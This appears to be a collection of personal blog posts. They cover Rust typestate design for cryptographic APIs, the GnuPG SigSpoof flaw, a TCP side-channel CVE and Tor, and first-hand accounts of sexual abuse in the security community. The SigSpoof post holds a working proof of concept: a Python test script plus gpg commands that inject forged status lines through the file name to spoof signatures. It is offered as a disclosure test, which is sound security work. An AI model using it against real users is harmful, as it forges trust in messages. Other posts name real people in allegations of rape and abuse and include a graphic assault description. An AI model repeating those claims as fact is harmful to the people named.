Patterns in the Void

Implementing As-Safe-As-Possible, Misuse-Resistant Cryptographic Libraries: Part I

2020-09-14T16:01:00+00:00

Over the years, I’ve discovered many techniques in learning how to design as-safe-as-possible, misuse-resistant cryptographic libraries for some fairly complex primitives, which I’d like to share in the hopes that we can continue to progress the state-of-the-art in cryptography towards greater safety at decreased cost to both cryptographers and security engineers. Time permitting, I hope to eventually turn this into a series of posts.

The typestate pattern is one I’ve greatly appreciated but didn’t have a name for before reading this article. I highly recommend reading it, and I won’t be reviewing it in detail here. The tl;dr is that you encode your state machine into a type system, such that invalid state changes are caught at compile time rather than runtime.

Take, for example, this stubbed out implementation of a two-round distributed key generation protocol.

use curve25519_dalek::ristretto::RistrettoPoint;
use curve25519_dalek::scalar::Scalar;

pub struct Commitment(pub(crate) RistrettoPoint);
pub struct SecretKeyShard(pub(crate) Vec);
pub struct PublicKeyShard(pub(crate) Scalar);
pub struct ProofOfKnowledgeOfSecretKeyShard(pub(crate) Scalar, pub(crate) Scalar);

impl ProofOfKnowledgeOfSecretKeyShard {
    /// Prove in zero-knowledge a secret key.
    pub fn prove(
        secret: &SecretKeyShard
    ) -> ProofOfKnowledgeOfSecretKeyShard {
        // ...
    }

    /// Verify a proof of knowledge of a secret key.
    pub fn verify(
        &self,
    ) -> Result<(), ()> {
        // ...
    }
}

pub struct DistributedKeyGeneration {};

impl DistributedKeyGeneration {
    /// Generate a shard of the eventual shared secret, and form some
    /// commitments and a zero-knowledge proof regarding those secrets, in order
    /// to prevent rogue-key attacks, and send the commitments and proof to the
    /// other participants for checking.
    pub fn round_one_init(
    ) -> (SecretKeyShard, ProofOfKnowledgeOfSecretKeyShard, Vec) {
        // ...
    }

    /// Check the commitments and proofs that were sent by the other participants.
    pub fn round_one_finish(
        proofs: &Vec,
    ) -> Result<(), ()> {
        for proof in proofs.iter() {
            proof.verify()?;
        }
        // ...
    }

    /// Each participant uses their secret shard to evaluate a different shard
    /// of the eventual shared public key, which they send to each respective
    /// participant.
    pub fn round_two_init(
        secret: &SecretKeyShard,
    ) -> Vec {
        // ...
    }

    /// Verify the public shards received from the other participants, aborting
    /// on failure, then compute our long-lived signing key and a proof of its
    /// correctness.
    pub fn round_two_finish(
        secret: &SecretKeyShard,
        public_shards: &Vec,
        commitments: &Vec,
    ) -> Result<(), ()> {
        // ...
    }
}

It’s already doing better than many cryptographic APIs I’ve seen in the wild:

Rather than passing around blobby arrays of bytes, it’s at least using the type system to do basic things, like ensuring that pieces of the secret key shards are kept separate and treated differently to the public key shards, even though they share the same underlying mathematical objects.
It has basic documentation, stating what actions — outside the scope of this cryptographic library — should be done with the return values. (E.g. “send the commitments and proof to the other participants for checking”.)
It attempts to use intuitive naming for types and variables, rather than condensing things in to nearly indecipherable acronyms, over — even worse — using inexplicable¹ single-letter function/variable names.

¹ IMHO it’s okay to use single-letter variable names when mirroring the names used in a paper, and leaving comments to make it clear what the object actually is, however in all likelihood this isn’t code that should be exposed to a security engineer.

So how could it be better?

This is precisely where the typestate pattern shines. The above code would allow a developer to do:

let (secret, nipk_of_secret, commitments) = DistributedKeyGeneration::round_one();

send_to_participants(nipk_of_secret, commitments);

let public = DistributedKeyGeneration::round_two_init(&secret);

Depending on the specifics of the protocol, skipping the call to DistributedKeyGeneration::round_one_finish() allows for a rogue-key attack, where a rogue participant creates a crafted public key shard which negates the contribution to a signature from the targeted other participant(s).

Let’s see instead how this known attack could be eliminated entirely by making it discoverable at compile-time.

use curve25519_dalek::ristretto::RistrettoPoint;
use curve25519_dalek::scalar::Scalar;

pub struct Commitment(pub(crate) RistrettoPoint);
pub struct SecretKeyShard(pub(crate) Vec);
pub struct PublicKeyShard(pub(crate) Scalar);
pub struct ProofOfKnowledgeOfSecretKeyShard(pub(crate) Scalar, pub(crate) Scalar);

impl ProofOfKnowledgeOfSecretKeyShard {
    /// Prove in zero-knowledge a secret key.
    pub fn prove(
        secret: &SecretKeyShard
    ) -> ProofOfKnowledgeOfSecretKeyShard {
        // ...
    }

    /// Verify a proof of knowledge of a secret key.
    pub fn verify(
        &self,
    ) -> Result<(), ()> {
        // ...
    }
}

pub type DistributeKeyGenerationState = DistributedKeyGenerationRound1;

pub struct DistributedKeyGenerationRound1 {
    pub(crate) secret_shards: SecretKeyShard,
    pub proof: ProofOfKnowledgeOfSecretKeyShard,
    pub commitments: Vec,
}; 

impl DistributedKeyGenerationRound1 {
    /// Generate a shard of the eventual shared secret, and form some
    /// commitments and a zero-knowledge proof regarding those secrets, in order
    /// to prevent rogue-key attacks, and send the commitments and proof to the
    /// other participants for checking.
    pub fn init(
    ) -> DistributedKeyGenerationRound1 {
        // ...
    }

    /// Check the commitments and proofs that were sent by the other participants.
    /// Only progress to round 2 if the verifications passed.
    pub fn progress(
        &self,
        proofs: &Vec,
    ) -> Result {
        for proof in proofs.iter() {
            proof.verify()?;
        }

        // ...

        Ok(DistributedKeyGenerationRound2a{ secret_shards: self.secret_shards.clone() }
    }
}

pub struct DistributedKeyGenerationRound2a {
    pub(crate) secret_shards: SecretKeyShard,
}

impl DistributedKeyGenerationRound2a {
    /// Each participant uses their secret shard to evaluate a different shard
    /// of the eventual shared public key, which they send to each respective
    /// participant.
    pub fn progress(
        &self,
    ) -> DistributedKeyGenerationRound2b {
        // ...
    }
}

pub struct DistributedKeyGenerationRound2b {
    pub(crate) secret_shards: SecretKeyShard,
    pub public_shards: Vec,
}

impl DistributedKeyGenerationRound2b {
    /// Verify the public shards received from the other participants, aborting
    /// on failure, then compute our long-lived signing key and a proof of its
    /// correctness.
    pub fn finish(
        &self,
    ) -> GroupPublicKey {
        // ...
    }
}

pub struct GroupPublicKey(pub RistrettoPoint);

With these changes, the code of a security developer would likely look more like this:

let state = DistributedKeyGeneration::init();

let proofs = collect_proofs_from_other_participants();

let state = state.progress(&proofs)?.progress();

send_public_shards_to_other_participants(state.public_shards);

let group_public_key = state.progress();

If any of the state machine update functions are ever called without the correct context, the compiler catches the mistake, thus enforcing safety against cryptographic attacks before they occur.

This is, albeit, a pretty trivial and simple toy example. There are many other things we could do with a decent type system to improve this code, including but not limited to:

Providing a RoundTwo trait for genericising over the two typestates in the second round of the protocol.
Using the the sealed design pattern to prevent third parties from creating further implementations of valid RoundTwo states.
Avoiding repeated clone()/copy() of data in the state machine (e.g. the secret_shards which get copied multiple times in the above example) by abusing yet another empty trait which is implemented for all typestates to store the actual state in a heap-allocated pointer (e.g. Box<ActualState>) which is copied instead.

If you’d like to see a more complex example of these design patterns all put together, I have a rough draft implementation of the MSDL protocol from “Compact Multi-Signatures for Smaller Blockchains” by Boneh, Drijvers, and Neven.

Pretty Bad {Protocol,People}

2018-06-13T15:29:00+00:00

tl;dr: This vulnerability affects GnuPG and several plugins and wrapper libraries, including Vinay Sajip’s “python-gnupg” which I rewrote many years ago after finding a shell injection vulnerability in his code. His code is vulnerable to SigSpoof; mine isn’t.

Markus Brinkmann, a NeoPG developer, wrote about a recent signature spoofing vulnerability in GnuPG which carried over into several downstream plugins and wrapper libraries—largely due to GnuPG’s interface design which uses file descriptors, and only file descriptors, to speak a custom, potentially binary but often ascii, order dependent line protocol, whose line order, keywords, number of fields, and other details are subject to change between minor point versions of GnuPG. If that sounds like a special hell invented by some sort of unholy crossing between RMS and a rabid howler monkey: welcome to working with (or rather, more likely, around) the Terrible Idea Generator known as the GnuPG development team.

As previously mentioned, while working with Riseup¹ folks on a project, we found a shell injection vulnerability in Vinay Sajip’s python-gnupg module (the one that installs if you do pip install python-gnupg; mine installs with pip install gnupg). The fix was not merely to remove shell=True argument passed to a call to subprocess.Popen() as Vinay believed (and continues to believe)—but instead, to sanitise all inputs and whitelist available options. There are hundreds of flags to the gnupg binary. Some flags and options are safe. Others can be, if you carefully sanitise their arguments. Others must be disallowed entirely.

My python-gnupg module isn’t vulnerable to SigSpoof, for several reasons:

--no-options is passed by default. So if you’ve got something stupid in your gpg.conf file, you’ll still be fine while using my Python module.
--verbose is not passed. This means that my library doesn’t have to wade throught a mixture of strange stderr and GnuPG status-fd messages on the same file descriptor. You could pass --verbose to it manually, as it is in the list of allowable, whitelisted options, but the exploit still won’t work, which brings us to our next point:
All inputs to, and outputs from, the gnupg binary are sanitised and then forced to conform to whitelists. This means that, even if you did pass --verbose manually, the filename trick won’t work because there’s no way to safely sanitise a filename, because filenames may be arbitrary bytes.

Amusingly, the front page of Vinay’s current documentation states:

Which beautifully demonstrates that Vinay still doesn’t understand the original bug report. Additionally, not a single line of his original code remains unchanged, as the bulk of it was badly written and contained hidden landmines.

At the time I pointed out the vulnerability, Vinay argued that it wasn’t a bug until a working exploit for a Bitcoin exchange C&C server, which was unfortunately running his code, was released. Vinay released several versions of his library at the time, without making the version controlled repo available, meaning that for each new version he claimed to have “fixed the bug”, I had to diff the tarballs to discover, unsurprisingly, that he had, in fact, not.

I find it difficult to convey how thoroughly unimpressed I am with men like Vinay. I volunteered the work, handed him an explanation and a solution, and was ridiculed, told I was wrong, that I didn’t understand, and ignored. He’s still never credited me by name anywhere for finding the original bug. Men like this make me want to go write closed source code that none of you will ever see, just so that I never have to deal with these GNU/Beardos ever again. Have fun with the bugs, Vinay, they’ll certainly keep coming.

Test it yourself

Here is a script which will print the status-fd output of GnuPG and test a spoofed signature (PoC #1), a spoofed signature plus a falsely encrypted (i.e. appears to have been encrypted to the user, when in fact no encryption was used) message (PoC #2), and an additional method for signature spoofing (PoC #3):

    #!/usr/bin/env python
    #
    # Test whether python-gnupg (https://github.com/isislovecruft/python-gnupg),
    # is vulnerable to SigSpoof.
    #
    # Authors: isis agora lovecruft <[email protected]>

    from __future__ import print_function

    import gnupg

    # Set the gnupg log level to `--debug-level=guru` (lmao).
    log = gnupg._logger.create_logger(9)
    log.setLevel(9)

    # Create our gpg instance
    gpg = gnupg.GPG(binary="/usr/bin/gpg2")

    poc1msg = '''\
    -----BEGIN PGP MESSAGE-----

    hQIMAwxKj89n7yVcARAAkhbztv+rjtUZx4rSqpvlj8a9g+y+8ZOY8JhBFvJzVAXe
    tnBNDGmIAc9I9ewRgxwsgcCIlUuGYCSgFugWLYVPD+e0tyQwx76mpMZc5wqAMows
    mk2pavdYMD2FGePY9mCVDvpC8ldumVn2dgT0k2IIOVr8w29CRgzP8ONwAyFFr4Gw
    hZ82e+CLKMFOv7Aigp00D1esurNTzFN5MDJZqhQtPpXawexUjrl5GEsPtKLDkKyt
    iOR5HauLLlDPZJXhHqwrqbSKTpKJU9lztmFp3XVom6VgeCiHWcL0mYF2fcbzfJS/
    CjDFZqFmFPGUJSpdgDcGEGsalzk6o8RFtUvvmKtQLN9BglpYkyPXQiO8vCyS4xiN
    D0gjBxVSvvkdS7734FYxePkUDEOTQbPuJ+FzgMN6Jpp8hVopYbefVcU5bNIY4H2P
    9EAHgvX1AT+VtPPt0JxzQ5/UdXK5KE7O7zUtTJIkXd4hGFpWyZp8hTUEgqLHfHUw
    Qlso2hQ+xgqok1ruGRjYk7n48Uw89jYpBXCOJerZeQGrmGWEkuf1vonFVwddM/4p
    msPN9I6Ahf+Uth+U5rFO4Y2G5fk83saa6ZfM9qdZKgLLEOgXmyycAdSAq/vRRe1G
    z9W77qcuIdhi2dA6+CJBqkm97aYNvoQ4Mxt97e7nP5WijXwugumdMQ7oT1upIsbS
    wFQBov2rvuwWsqrw+kbPD+zedi0NP31BohjiEhBamohGkkh8gr4hPmiyJdm0TIfh
    GBo5z35kRQiJZ9DwmgxE+LnVWQvChEJt0NFuC5FqM5bBaOjR5b2QsYn5uZ5AnVTa
    OZj5HBaaZQqZod5FrGpVpmXG2+RThge8dCbx+CDdBWvLq99TppzcN5nGEHYaz41X
    1ZKRcpbUuixBn3juC6HN2iQq9BidAbpVWvTAYD4dH+/aio3fd+3wSCgHQnPRzxg9
    5YaF6XbFYO8ceruOmnzYYEQTBRmlrBbnaug/cDa5Yq4HIWDHRTR9/aK4Y9rcYsoK
    Jm+7ujLey3TsI9qMs3cbcmsZbnXm+v3uDLvGBofG/dAjqVvm074=
    =UN+a
    -----END PGP MESSAGE-----
    '''

    result1 = gpg.verify(poc1msg)
    print("[poc1] Was the spoofed signature valid? %r" % result1.valid)

    poc2msg = '''\
    -----BEGIN PGP MESSAGE-----

    y8BvYv8nCltHTlVQRzpdIEdPT0RTSUcgRjJBRDg1QUMxRTQyQjM2OCBQYXRyaWNr
    IEJydW5zY2h3aWcgPHBhdHJpY2tAZW5pZ21haWwubmV0PgpbR05VUEc6XSBWQUxJ
    RFNJRyBGMkFEODVBQzFFNDJCMzY4IHggMTUyNzcyMTAzNyAwIDQgMCAxIDEwIDAx
    CltHTlVQRzpdIFRSVVNUX0ZVTExZCltHTlVQRzpdIEJFR0lOX0RFQ1JZUFRJT04K
    W0dOVVBHOl0gREVDUllQVElPTl9PS0FZCltHTlVQRzpdIEVOQ19UTyBBM0FEQjY3
    QTJDREI4QjM1IDEgMApncGc6ICdbIaFeU2VlIHlvdSBhdCB0aGUgc2VjcmV0IHNw
    b3QgdG9tb3Jyb3cgMTBhbS4K
    =Qs3t
    -----END PGP MESSAGE-----
    '''

    result2 = gpg.decrypt(poc2msg)
    print("[poc2] Was the spoofed signature and encryption valid? %r"
          % result2.valid)

    poc3msg = '''\
    -----BEGIN PGP MESSAGE-----

    owJ42m2PsWrDMBiE9zzF1Uu2YDmJZYcQasV2oLRLHegQOij4txC1rGBZQ1+lT9M9
    79O5gkAppceNd8d318/H85dxaj5TF7VBo9UgJz8SjGwJR09gCR78gCRmGWK2CU7W
    KJ6wr5rjrfRH3ulB4bkp8EbvYDFfVnxViWUmyrRk+Yqne1FnVZGXos5rwVNWpJz/
    O6Wd8zQiOuu+v6euW9hRRbfkwdoW7ge3G61B9BJyWhoI3waGyQ7Y/q7uIpw63/ev
    mIfLp7vrhyGaYAhyCqDSzL4B9fBP7w==
    =zQV0
    -----END PGP MESSAGE-----
    '''

    result3 = gpg.verify(poc3msg)
    print("[poc3] Was the spoofed signature valid? %r" % result3.valid)

The GnuPG blobs were generated with (via Markus Brinkmann’s suggestions):

## PoC #1
echo 'Please send me one of those expensive washing machines.' | \
gpg --armor -r a3adb67a2cdb8b35 --encrypt --set-filename "`echo -ne \''\
\n[GNUPG:] GOODSIG DB1187B9DD5F693B Patrick Brunschwig <[email protected]>\
\n[GNUPG:] VALIDSIG 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B 2018-05-31 1527721037 0 4 0 1 10 01 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B\
\n[GNUPG:] TRUST_FULLY 0 classic\
\ngpg: '\'`" > poc1.msg

## PoC #2
echo "See you at the secret spot tomorrow 10am." | \
gpg --armor --store --compress-level 0 --set-filename "`echo -ne \''\
\n[GNUPG:] GOODSIG F2AD85AC1E42B368 Patrick Brunschwig <[email protected]>\
\n[GNUPG:] VALIDSIG F2AD85AC1E42B368 x 1527721037 0 4 0 1 10 01\
\n[GNUPG:] TRUST_FULLY\
\n[GNUPG:] BEGIN_DECRYPTION\
\n[GNUPG:] DECRYPTION_OKAY\
\n[GNUPG:] ENC_TO 50749F1E1C02AB32 1 0\
\ngpg: '\'`" > poc2.msg

# PoC #3
echo 'meet me at 10am' | gpg --armor --store --set-filename "`echo -ne msg\''\
\ngpg: Signature made Tue 12 Jun 2018 01:01:25 AM CEST\
\ngpg:                using RSA key 1073E74EB38BD6D19476CBF8EA9DBF9FB761A677\
\ngpg:                issuer "bill@eff.org"\
\ngpg: Good signature from "William Budington <bill@eff.org>" [full]
'\''msg'`" > poc3.msg

Again, not vulnerable, for all the reasons described above.

Additionally, if Vinay would have actually understood and fixed the root cause of the original shell injection vulnerability six years ago, his library likely wouldn’t be vulnerable, yet again, today. But of course, the GnuPG community, just like upstream, really only takes patches from men, so it’s neither my problem nor concern that they seem to continually discover new and innovative ways to fuck themselves and their users over.

Please don’t

If you’re a developer thinking of making a new tool or product based on the OpenPGP protocol: please don’t. Literally use anything else. I wrote my version of python-gnupg because, at the time, the project I worked on wanted to make transparently encrypting remailers, i.e. middleware boxes run by an email service provider which users register their encryption keys with, which would—upon seeing a plaintext email to another of the provider’s users—automatically encrypt the email to the user. We used GnuPG for this. This was a mistake, in my opinion, and if I had to do the project again, I would do it entirely differently.

If you’re a developer thinking you can write a less shitty version of GnuPG: please don’t. RFC4880 was a mistake and needs to die in a fire. Also nobody under thirty actually uses email for anything other than signing up for services.

If you’re a user or potential user of GnuPG: please don’t. Try using tools with safer, constant-time cryptographic implementations, better code, nicer and more inclusive development teams, and a better overall user experience, like Signal.

If you’re considering getting into GnuPG development: please don’t. Especially if you’re non-cis-male identified, it’s going to be a complete and infuriating waste of your time and talents. Please consider donating your skills to more inclusive projects with fewer moronic assholes.

Moving forward

There isn’t really any path forward. GnuPG and its underlying libgcrypt remain some of the worst C code I’ve ever read. The code isn’t constant time, and numerous attacks have resulted from this, as the developers scurry to jump through hoops of fire to implement yet another variable-timed algorithm they’ve seemingly come up with on the spot which is vulnerable to a dozen more attacks just not that one from the latest paper. OpenPGP (RFC4480) is one of the worst designs and specifications ever written. I have to spend spots, here and there, of my non-existent free time maintaining a whitelist as the GnuPG developers randomly change their internal, nearly undocumented line protocol, between micro versions. I’d like to not do this. Please, let’s stop pretending this crock of shit provides anything at all “pretty good”: not the cryptographic algorithms, not the code, not the user experience, and certainly not the goddamned IPC design.

There is one way forward: Vinay is annoyed that my library has a similar name, because god forbid a user get tricked into using something more secure. Frankly, I’m sick of Vinay’s trash code being mistaken for mine, and increasingly so, the more vulnerabilities surface in it. So I’ve decided to rename the thing formerly installable with pip install gnupg to pip install pretty_bad_protocol (name thanks to boats‘ pbp rust crate). If you grep for pretty_bad_protocol in a python library which uses gnupg and there’s no results, you’ll know someone’s not being very honest about what gnupg has to offer.

¹ I don’t speak for my current or past employers or clients.

The CCC: Men Who Hate Women

2017-12-26T20:00:00+00:00

Content Warning: rape, sexual assault, whistleblower retaliation

Sarah Jeong’s recent article, Vulnerabilities and exploits: what happened when the infosec community outed its own sexual predators, discusses some positive cultural changes in North America since the outings of serial rapists Jacob Appelbaum and Morgan Marquis-Boire.

This post is not about those positive changes. This post is about people and organisations which haven’t changed, such as the Chaos Computer Club (CCC), who have attempted to save face in public, while privately working to undermine positive change and enable rapists.

In June 2016, I and others spoke up about serial rapist and abuser, Jacob Appelbaum. Unlike other organisations — such as The Tor Project, or The Cult of the Dead Cow — the CCC delayed for more than a month in responding. Eventually, their hand was forced by a parody “@chaosupdales” Twitter account announcing that the CCC had expelled Jake. First, the CCC clarified that they had not expelled Jake. Then, the CCC posted a vague statement that “all are welcome”. Finally, the CCC claimed that their statement had, “of course”, referred to Jake all along. Of course, they only clarified this on Twitter and never updated their statement. In English, this is called “gaslighting”.

There were no Tor talks last year at 33C3, because every Tor talk submitted was silently removed by the CCC to “avoid controversy”. Before the congress, the CCC requested a meeting with their selection of representatives from Tor to discuss a way forward. I requested to attend the meeting, and was forbidden from attending by the CCC organisers, who said that the meeting would not occur if I were present. Two other members of the Tor community were expelled for their participation in River’s brutal assault. The CCC continued their pattern of feigning interest in making progress, while privately showing no interest in learning about what had happened from the survivors.

One of those expelled was 7a573b399812f3260385bd1790cd3e22612fad1b02ad8d95946bd096f1c8455d (hereafter truncated to “7a573b39”), the second participant in River’s account, which describes a horrific assault while she was intoxicated to the point of being non-responsive. Unlike my coworkers, 7a573b39 was given a talk at 33C3. (Ironically, on a project I helped design and implement.) This was the CCC’s idea of the way forward.

Survivors of Jacob’s abuse had collectively agreed to give 7a573b39 a second chance: he said he had been manipulated by Jake into participating in the rape; he did not appear to have committed any similar abuse; he expressed remorse and apologised to River; he claimed to have taken a class on not only recognising, but enacting bystander intervention in sexual harassment.

Here is 7a573b39 nine months later, in September 2017, standing next to Jake:

This photo was taken in Cuba at ASCrypto, a self-described school for “graduate students in cryptography” aiming to “build cryptologic research capacity in the region”. 7a573b39 explained to others within the Tor Project that he hadn’t intended to run into Jake, and that Jake had “followed” him around “harassing him” the whole time.

7a573b39 is not a student of cryptography, so it seems pretty implausible that he’d fly all the way to Cuba for a cryptography school with lectures given by Jacob’s advisers and enablers, Dan Bernstein and Tanja Lange, and then be shocked (shocked!) to discover Jacob there. But even if this story were true, standing idly by your fellow abuser is not the action of someone who feels genuine remorse or regret.

This appears to be the same pattern of behaviour as the CCC: in public, do the bare minimum to feign progress; in private, do whatever they think they can get away with.

This year, for 34C3, the CCC rejected talks discussing harassment and abuse, yet they found time to give 7a573b39 two talks. They shut down conversations on paths towards progress, safety, and inclusivity, but they allow an assembly which proclaims “a code-of-conduct free zone”, warning attendees to “enter at own risk”. It is never enough to just work against abusers. The rot stems from within a larger system, and it is vital to fight, root and branch, against the organisations, structures, and people which enable sexual assault, harassment, and other forms of discrimination. The CCC’s actions have been entirely within bad faith, meant to cause and enable further harm. I do not say this lightly: the CCC hates women.

Edit (2017-12-27 18:00): After additional conversations with River, we have agreed to edit this post in the following ways:

First, it is important to clarify that River describes Jacob Appelbaum’s actions as rape, and the other participant’s actions as sexual assault. Further, we would like to make clear the differences between the two: Jacob has never attempted any apology to any of his survivors (and instead has proceeded to threaten and direct further abuses at them), while the other participant, as described above, has taken every step asked of him in an accountability process, only to afterwards betray survivors. There are degrees to violence and sexualised violence, and, within context, the actions of one abuser should not necessarily be categorised as equivalent to another. (The author, isis agora lovecruft, takes full responsibility for the mistakes in the original word choices and would like to point out the importance of having survivor-led processes and noting the ways in which accountability may fail.)

Second, we have chosen to redact the other participant’s name. While it is one thing to speak in our own words of his successes and failures in healing alongside with survivors, it is our fear that others will use his name with words that are not ours — that is, not survivor-led — in ways that might damage his capabilities for further healing and remediation. It is our hope to work with him to combat the ongoing damages of our patriarchal society, our systems entrenched with and built around (trans)misogyny, and to build entirely new systems and spaces for community interaction which prevent what we have survived from occuring in the future.

CVE-2016-5696 and its effects on Tor

2016-08-11T15:29:00+00:00

tl;dr: This vulnerability is quite serious, but it doesn’t affect the Tor network any more than it affects the rest of the internet. In particular, the Tor-specific attacks mentioned in the paper will not work as described.

Recently, an excellent paper, entitled “Off-Path TCP Exploits: Global Rate Limit Considered Dangerous,” was published by Yue Cao, Zhiyun Qian, Zhongjie Wang, Tuan Dao, Srikanth V. Krishnamurthy, and Lisa M. Marvel at USENIX Security 2016.

The paper describes the 2012 modifications of RFC5961 to the specification of the Transmission Control Protocol (TCP), the latter of which is used to transport roughly 90% of our data across the internet. The modification was meant to protect against TCP “blind in-window” attacks.

When a TCP packet is sent, the sender and receiver both know a number, called the sequence number, that this packet should have. If the sequence number is not correct, various (complicated, boring) things may happen, but the important part is that neither the sender nor the receiver actually believes that this is a valid packet. Instead, they assume something went wrong somehow, or that an active attacker is attempting to inject packets into their communication stream. The term blind simply means that an attacker is unable to directly observe the packets going between the sender and receiver, but is usually instead trying to use some side-channel to determine this information. There’s another part of the TCP specification which describes windowing — which simply means (did I mention that TCP is very complicated and boring…) that the sequence number was “correct enough” — that is, that the sequence number was within the right range. Specification nerds have long argued over what “correct enough” means, because apparently they find this topic absolutely riveting.

The fix to the TCP blind in-window attack was to specify that, under certain conditions, if the TCP sequence number doesn’t match what was expected, the receiver of this messed up packet should send a “challenge” ACK to the sender. Depending on the type of messed-up-ness, the sender and receiver do one of a number of little dances with each other, in the special way that TCP is so fond of doing. When one party sends a challenge ACK, they increment a counter stored in a global variable which is shared across all TCP connections. This global variable is reset to 0 once per second, and it has a maximum value of 100, i.e. no more than 100 challenge ACKs will be sent per second (for all connections combined). If it wasn’t obvious from the title of the paper, global variables (across programming languages, frameworks, and contexts) are commonly known to be a very bad, no good, horrible idea.

The attack described in the paper is elegant. In terms of its impact, 96.6% of the Alexa top one million are running Linux kernels, and hence are likely vulnerable. The previously described global ACK counter enables various side-channels across TCP connections, meaning that a blind attacker can determine information about:

whether Alice and Bob are currently communicating over TCP,
what the correct TCP sequence number is, and
what the range of the valid window is.

The attacker does this by sending various crafted packets to the receiver (i.e. via a side-channel) while the sender is simultaneously sending valid packets to the receiver. The combined state of the attacker’s and the sender’s effects upon the global counter, for each of the above pieces of information, can be determined by whether the attacker receives either 99 or 100 ACKs in response:

The authors go on to claim the attack can be used to influence a Tor user’s path through the network. However, the authors seem to have a misunderstanding regarding how Tor’s path selection algorithm functions.

Their idea is summarised in the last paragraph of §7.2 of the paper (emphasis mine):

In general, we believe that a DoS attack against Tor connections can have a devastating impact on both the availability of the service as a whole and the privacy guarantees that it can provide. The default policy in Tor is that if a connection is down between two relay nodes, say a middle relay and an exit relay, the middle relay will pick a different exit relay to establish the next connection. If an attacker can dictate which connections are down (via reset attacks), then the attacker can potentially force the use of certain exit relays.

This is is technically incorrect. The way Tor’s path selection algorithm actually works — when a connection fails — is that the client forgets the path of that circuit entirely, and goes back to step #1 of the algorithm, effectively choosing an entirely new path without any memory of the path chosen before. Since the selection of the nodes in this new path (and in fact, any path) is dependent on their bandwidth weight from the consensus, the client has just as much probability to select the same exit as they did the last time. Therefore, to use this attack to “funnel” (as the authors describe) Tor users into using a particular exit node is of equal difficulty — in terms of bandwidth of the nodes you would need to run — to conducting a Sybil attack on the whole network.

Although, with a high-bandwidth exit in a sybil attack, the attacker has a high (and importantly, to the attack’s benefit, independent) probability that an exit it controls will get picked by the client. Whereas with this attack, the bandwidth weighting is likely detrimental to pulling off the attack, since the exits you’re injecting RSTs into still have independently high probabilities of being chosen again. In other words, knocking nodes out of the network doesn’t do anything to change their probability of being chosen, it merely makes them unavailable and thus only amounts to a DoS attack, not a path bias attack.

While the attack on Tor — as stated in the paper — does not work, the attack itself is impressive, and we encourage these (and other!) researchers to think of ways the attack might apply to Tor (and other networks).

Their attack does work as a general denial-of-service against not just Tor relays, but literally against anything running Linux.

The accepted Linux kernel patch solves the issue, and does so by randomising the time window that the global variable applies to.

The Forest for the Trees

2016-06-13T10:29:00+00:00

It feels rather sardonic to say this now, openly, after two years spent alternating between trying to inhibit my rage and convince myself that I hadn’t been hurt, followed by seeking out other victims, in order to develop the collective capacity to defend ourselves and to have the simple ability to speak out in a manner which would be heard and not discarded.

I’m Forest. Here’s my story, as submitted to the anonymous site jacobappelbaum.net:

Jake and I had been friends and coworkers for years. Looking back on it, I’m not sure why. From the very first Tor developer meeting I had attended, he repetitively propositioned my partner and I for sex. He even went so far as to, on the very first meeting on the first morning, in front of all the other developers — whom I had not yet met — tell me that he was okay with my partner and I fucking in the same bed as him while he watched, causing both of my partner and I to feel completely humiliated that our private sex life was being discussed in front of colleagues we had hoped to build a good start towards friendly, professional relationships.

While travelling, the first time he came to the city I lived in, I invited him to stay at my house. As politely as I could, I explained, “You can have the floor, and I’ll take my bed, or the other way around. If you’re comfortable with it, we can share my bed, as friends. Meaning no physical contact.” We both slept in my bed.

That turned out (mostly) fine. (Except, of course, being propositioned again, this time for a threesome with Jake and one of my roommates.) In fact, Jake and I proceeded to share beds in a friendly manner over the years, and nothing bad ever happened.

Once Jake had moved to Germany, I came to visit friends there for a while, and one night I stayed at Jake’s place. Again, we shared a bed, as friends. There weren’t even any discussion or attempts beforehand to convince me to do anything sexual with him. It was freezing cold, and I went to bed with several layers of street clothes on.

Sometime around 5 o’clock in the morning, I woke up very confused and startled because my pants were unzipped and Jake’s arm was wrapped around me, his hands in my underwear and he was rubbing my clit and rimming the edges of my vagina. I tried to shove him off me and wake him up. He’s physically much bigger than me, so the shoving didn’t work as well as it should have, but nonetheless he rolled over, a bit exageratedly, mumbling as if asleep.

In the morning, I confronted him about it. I was really confused. I didn’t know if he was actually asleep, but if he was, how did my clothes come undone? Assuming that if I was super confrontational about it, he’d have some excuse like “Oh, but I thought it was okay that time because you didn’t explicitly give me the we’re-just-friends lecture before bed…” When confronting Jake about this, I said, “Dude, what the fuck. You started fingering me last night.” It took a few seconds for there to be a reaction on his face, and then he seemed confused, saying “Oh… what? I don’t remember that.” I glared at him.

The really disconcerting thing for me was that, half an hour later, he said, “I thought you were her.” Here, “her” was Jake’s fiancée. At the time, she didn’t live in Germany, and they hadn’t seen each other in weeks. Jake’s fiancée was also gorgeous and super curvy, and I am basically a scrawny, little twig. “I’m not sure how you could confuse us, even asleep.” I said. He continued muttering some excuses about having wet dreams about her. He seemed to suddenly and extremely vividly remember whatever dream. Nowhere did he say, “I didn’t put my hands in your panties,” nor did he apologise.

Transformative Justice is not the “Death of Due Process”

First, some backstory is in order.

Seven or eight years ago, I was involved in an anarchist collective process for a male person in an anarchist activist community who was accused of and eventually admitted to raping two anarchist women. Since none of us would turn him in to the police, we gave him a choice of either leaving or going through a rehabilitation programme which we would create, in an attempt to transform him into someone just as capable of contributing in all the productive ways he already was but without harming other people and decreasing their abilities to contribute and to do so safely. We warned him that, if he skipped town, I would personally hunt him down to whatever city he ran to, contact the anarchist organisers there, and attempt to give them (as non-biased as possible) an account of the events. He didn’t run.

At first, he participated grudgingly, but later he broke down crying in front of the two victims, apologising sincerely and begging them for forgiveness. As part of the rehabilitation, one of the things we determined to be cause for his behaviour was a very negative self-body image, i.e. he was quite overweight and under the impression that women “only like dudes who are ripped”. Part of my responsibilities in the rehab process was to go to the gym with him, to help him have better body image, demonstrate that not all women are into “dudes who are ripped”, and help him become more comfortable with the idea that women are intelligent creatures as opposed to being merely some sexual object to be won over. He eventually successfully convinced both us and the victims that he would not abuse anyone else. To date this has been successful, and he’s had healthy relationships with several partners, including a transperson.

The Plan

When I first started seeking out other victims, about six months ago, I did not want to formally report any of the stories I had heard from Jake’s victims to the Tor Project or others, for two primary reasons. First, that my main motivation in this was to ensure that these behaviours stopped, and it was not clear to me that any traditional punitive “justice” measures would achieve such. Second, I feared retaliation from Jake, as well as retaliation towards any of the victims whose stories I would divulge. Multiple victims at the time expressed that they didn’t want me to tell The Tor Project, later admitting they feared retaliation to be extremely likely, as well as difficult to combat.

